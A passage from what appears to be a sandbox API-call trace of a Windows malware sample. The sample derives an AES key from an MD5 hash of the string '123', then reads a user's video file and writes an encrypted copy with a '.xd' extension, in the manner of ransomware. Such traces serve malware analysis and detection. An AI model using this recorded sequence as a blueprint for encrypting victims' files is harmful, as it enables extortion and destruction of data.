lpdwBufferLength=0x130ee18*=0x2, lpdwIndex=0x130ee1c*=0x1) returned 1 [0065.956] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130edcc, dwFlags=0x0, dwContext=0x0) returned 1 [0065.957] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629180, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x1629180*, lpdwNumberOfBytesRead=0x130edd0*=0x2) returned 1 [0065.957] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629380, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x1629380*, lpdwNumberOfBytesRead=0x130edd0*=0x0) returned 1 [0065.957] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0065.958] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0065.958] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0065.958] CloseHandle (hObject=0x0) returned 0 [0065.958] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0065.958] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\R7dwQ.avi", lpFindFileData=0x130ebb0 | out: lpFindFileData=0x130ebb0) returned 0x164d070 [0065.958] FindClose (in: hFindFile=0x164d070 | out: hFindFile=0x164d070) returned 1 [0065.958] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0065.958] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0065.958] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0065.958] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0065.958] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0065.958] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0065.958] LoadLibraryW (lpLibFileName="Advapi32.dll") returned 0x74c60000 [0065.959] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0065.959] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0065.959] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0065.959] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0065.959] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0065.959] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0065.959] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0065.959] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0065.959] PeekMessageW (in: lpMsg=0x130e8bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e8bc) returned 0 [0065.959] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0065.959] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0065.959] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x164df90, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContext", lpUsedDefaultChar=0x0) returned 20 [0065.960] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContext") returned 0x0 [0065.960] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0065.960] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x164e050, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContextA", lpUsedDefaultChar=0x0) returned 21 [0065.960] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContextA") returned 0x74c80c00 [0065.960] CryptAcquireContextA (in: phProv=0x130e890, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x130e890*=0x17aa230) returned 1 [0065.961] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0065.961] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0065.961] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0065.961] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0065.961] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0065.961] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0065.961] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0065.961] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0065.961] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0065.961] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0065.961] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0065.961] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0065.961] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0065.961] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0065.962] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0065.962] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0065.962] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.962] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.962] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0065.962] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0065.962] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0065.962] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0065.962] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0065.962] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0065.962] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0065.962] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0065.962] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0065.962] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0065.963] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.963] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.963] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0065.963] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0065.963] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0065.963] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0065.963] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0065.963] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0065.963] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x16214c8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptCreateHash", lpUsedDefaultChar=0x0) returned 16 [0065.963] GetProcAddress (hModule=0x74c60000, lpProcName="CryptCreateHash") returned 0x74c7f930 [0065.963] CryptCreateHash (in: hProv=0x17aa230, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x130e600 | out: phHash=0x130e600) returned 1 [0065.963] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.963] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.963] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.964] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.964] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0065.964] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x1629570, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0065.964] CharLowerBuffW (in: lpsz="byte[3]", cchLength=0x7 | out: lpsz="byte[3]") returned 0x7 [0065.964] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.964] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0065.964] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x1629670, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0065.964] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.964] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0065.964] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0065.964] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0065.964] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0065.964] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x1621708, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptHashData", lpUsedDefaultChar=0x0) returned 14 [0065.964] GetProcAddress (hModule=0x74c60000, lpProcName="CryptHashData") returned 0x74c7f950 [0065.965] CryptHashData (hHash=0x164c670, pbData=0x1629550, dwDataLen=0x3, dwFlags=0x1) returned 1 [0065.965] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.965] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.965] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.965] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0065.965] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0065.965] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0065.965] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0065.965] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0065.965] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0065.965] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x1621798, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDeriveKey", lpUsedDefaultChar=0x0) returned 15 [0065.966] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDeriveKey") returned 0x74c95b70 [0065.966] CryptDeriveKey (in: hProv=0x17aa230, Algid=0x6610, hBaseData=0x164c670, dwFlags=0x1, phKey=0x130e600 | out: phKey=0x130e600*=0x164c830) returned 1 [0065.967] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.967] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.967] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.968] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.968] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.968] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0065.968] PeekMessageW (in: lpMsg=0x130e73c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e73c) returned 0 [0065.968] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0065.968] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0065.968] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x164e050, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyHash", lpUsedDefaultChar=0x0) returned 17 [0065.972] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyHash") returned 0x74c7fbf0 [0065.973] CryptDestroyHash (hHash=0x164c670) returned 1 [0065.973] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.973] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0065.973] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0065.973] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0065.973] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0065.973] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\R7dwQ.avi" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\r7dwq.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3bc [0065.973] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0065.974] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed38 | out: lpNewFilePointer=0x0) returned 1 [0065.974] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0065.974] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0065.974] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0065.974] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\" (normalized: "c:\\users\\ciihmnxmn6ps\\videos")) returned 0x11 [0065.974] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\R7dwQ.avi.xd" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\r7dwq.avi.xd"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2ac [0065.975] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0065.975] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0065.975] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0065.975] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0065.977] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed88 | out: lpNewFilePointer=0x0) returned 1 [0065.977] ReadFile (in: hFile=0x3bc, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x34cb, lpOverlapped=0x0) returned 1 [0065.977] ReadFile (in: hFile=0x3bc, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x0, lpOverlapped=0x0) returned 1 [0065.979] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0065.980] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0065.980] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0065.980] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0065.980] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.980] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.980] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0065.980] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0065.981] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0065.981] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0065.981] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0065.981] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0065.981] PeekMessageW (in: lpMsg=0x130e0cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e0cc) returned 0 [0065.982] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0065.982] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0065.983] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x164dfb0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptGetKeyParam", lpUsedDefaultChar=0x0) returned 17 [0065.983] GetProcAddress (hModule=0x74c60000, lpProcName="CryptGetKeyParam") returned 0x74c95c90 [0065.983] CryptGetKeyParam (in: 